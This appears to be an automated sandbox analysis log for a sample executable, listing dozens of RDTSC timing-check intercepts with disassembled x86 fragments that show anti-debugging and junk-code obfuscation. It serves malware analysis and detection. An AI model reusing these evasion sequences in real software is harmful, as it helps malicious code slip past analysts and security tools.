Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D533FA second address: D53441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE580B2A1ADh 0x0000000d nop 0x0000000e add dword ptr [ebp+122D1FDDh], ebx 0x00000014 push 00000000h 0x00000016 jo 00007FE580B2A1A9h 0x0000001c mov dx, ax 0x0000001f push 13E0718Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FE580B2A1B9h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D53441 second address: D534B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FE580CED976h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 13E0710Ah 0x00000013 sub dword ptr [ebp+122D3537h], ecx 0x00000019 jmp 00007FE580CED97Dh 0x0000001e push 00000003h 0x00000020 sub dword ptr [ebp+122D29B9h], edx 0x00000026 push 00000000h 0x00000028 jc 00007FE580CED97Ah 0x0000002e mov si, 0AF6h 0x00000032 push 00000003h 0x00000034 cmc 0x00000035 call 00007FE580CED979h 0x0000003a push esi 0x0000003b push ecx 0x0000003c pushad 0x0000003d popad 0x0000003e pop ecx 0x0000003f pop esi 0x00000040 push eax 0x00000041 pushad 0x00000042 jmp 00007FE580CED981h 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FE580CED983h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D534B5 second address: D534B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D534B9 second address: D534CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e je 00007FE580CED976h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D534CE second address: D5350A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jno 00007FE580B2A1BCh 0x00000011 pushad 0x00000012 jne 00007FE580B2A1A6h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D5350A second address: D53513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D53513 second address: D53517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D53517 second address: D5351B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D73914 second address: D73924 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D73924 second address: D73928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D73928 second address: D7392C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D7392C second address: D73946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007FE580CED976h 0x00000011 pop esi 0x00000012 jng 00007FE580CED97Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D71FE9 second address: D71FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D722F4 second address: D722F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D725C2 second address: D725E6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE580B2A1A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007FE580B2A1A6h 0x00000015 jmp 00007FE580B2A1AEh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D725E6 second address: D725EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D728C4 second address: D72904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B1h 0x00000009 pop esi 0x0000000a jmp 00007FE580B2A1B2h 0x0000000f jmp 00007FE580B2A1B4h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D72904 second address: D72908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D72908 second address: D72923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007FE580B2A1DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FE580B2A1A6h 0x00000015 jng 00007FE580B2A1A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D6AEA7 second address: D6AEAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D43B02 second address: D43B06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D43B06 second address: D43B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D43B0C second address: D43B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B8h 0x00000007 pushad 0x00000008 jno 00007FE580B2A1A6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D43B31 second address: D43B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE580CED987h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D43B51 second address: D43B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE580B2A1AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D732E0 second address: D732E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D732E6 second address: D732EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D732EA second address: D7331A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580CED97Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007FE580CED976h 0x00000012 jmp 00007FE580CED982h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D73486 second address: D7348C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D79E07 second address: D79E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D79E0B second address: D79E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D7E7F6 second address: D7E7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D7E7FA second address: D7E815 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE580B2A1A6h 0x00000008 jmp 00007FE580B2A1ACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D7EDBF second address: D7EDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D7EDC3 second address: D7EDCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81BC8 second address: D81BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81BCC second address: D81BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81BD6 second address: D81BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81BDA second address: D81C05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE580B2A1B2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81C05 second address: D81C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81CC8 second address: D81CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81CCC second address: D81CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007FE580CED976h 0x00000010 jmp 00007FE580CED989h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81CF6 second address: D81CFB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81CFB second address: D81D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81D0C second address: D81D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81E5B second address: D81E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81E5F second address: D81E6E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82083 second address: D8209C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE580CED980h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82949 second address: D82967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82967 second address: D8297F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 xchg eax, ebx 0x00000009 nop 0x0000000a js 00007FE580CED982h 0x00000010 jo 00007FE580CED97Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8297F second address: D8299C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jp 00007FE580B2A1C2h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE580B2A1B0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82A1A second address: D82A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82B06 second address: D82B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82E36 second address: D82E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82E3A second address: D82E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82E3E second address: D82E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE580CED97Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82E54 second address: D82E58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D82E58 second address: D82E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D83F57 second address: D83F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D83DED second address: D83DF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D83F60 second address: D83FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FE580B2A1ABh 0x00000010 push 00000000h 0x00000012 and esi, dword ptr [ebp+122D1EFDh] 0x00000018 push 00000000h 0x0000001a call 00007FE580B2A1B2h 0x0000001f mov esi, dword ptr [ebp+122D3A08h] 0x00000025 pop edi 0x00000026 mov esi, dword ptr [ebp+122D3587h] 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e jmp 00007FE580B2A1B3h 0x00000033 jmp 00007FE580B2A1B8h 0x00000038 popad 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d jnp 00007FE580B2A1A6h 0x00000043 jbe 00007FE580B2A1A6h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D85C56 second address: D85C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D86FAB second address: D86FBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D87ACC second address: D87AF8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FE580CED978h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE580CED986h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D890DD second address: D890F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D86FBA second address: D86FE2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE580CED985h 0x00000008 jmp 00007FE580CED97Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jp 00007FE580CED984h 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007FE580CED976h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8CFBE second address: D8CFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jl 00007FE580B2A1BCh 0x0000000d jmp 00007FE580B2A1B6h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D3EB21 second address: D3EB43 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE580CED989h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D3EB43 second address: D3EB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8DA36 second address: D8DA40 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8DFA1 second address: D8E006 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007FE580B2A1B2h 0x00000010 pop edi 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FE580B2A1A8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D3492h], eax 0x00000033 mov ebx, dword ptr [ebp+122D2E20h] 0x00000039 push 00000000h 0x0000003b stc 0x0000003c push 00000000h 0x0000003e je 00007FE580B2A1AAh 0x00000044 mov di, B594h 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b push edx 0x0000004c jc 00007FE580B2A1A6h 0x00000052 pop edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8F1FD second address: D8F202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8E19B second address: D8E1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8F202 second address: D8F26B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE580CED97Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D2D68h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FE580CED978h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f add edi, 341C7CB4h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007FE580CED978h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 pushad 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8E1A0 second address: D8E225 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FE580B2A1A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D29E3h] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr [ebp+122D2A10h], ecx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007FE580B2A1A8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D3537h], esi 0x00000047 mov eax, dword ptr [ebp+122D0D15h] 0x0000004d push 00000000h 0x0000004f push ebp 0x00000050 call 00007FE580B2A1A8h 0x00000055 pop ebp 0x00000056 mov dword ptr [esp+04h], ebp 0x0000005a add dword ptr [esp+04h], 0000001Ah 0x00000062 inc ebp 0x00000063 push ebp 0x00000064 ret 0x00000065 pop ebp 0x00000066 ret 0x00000067 mov bh, CBh 0x00000069 push FFFFFFFFh 0x0000006b xor dword ptr [ebp+1247BFFEh], ecx 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 push edx 0x00000077 pop edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8F26B second address: D8F274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8E225 second address: D8E22B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8E22B second address: D8E230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8E230 second address: D8E24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FE580B2A1ADh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8F358 second address: D8F35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
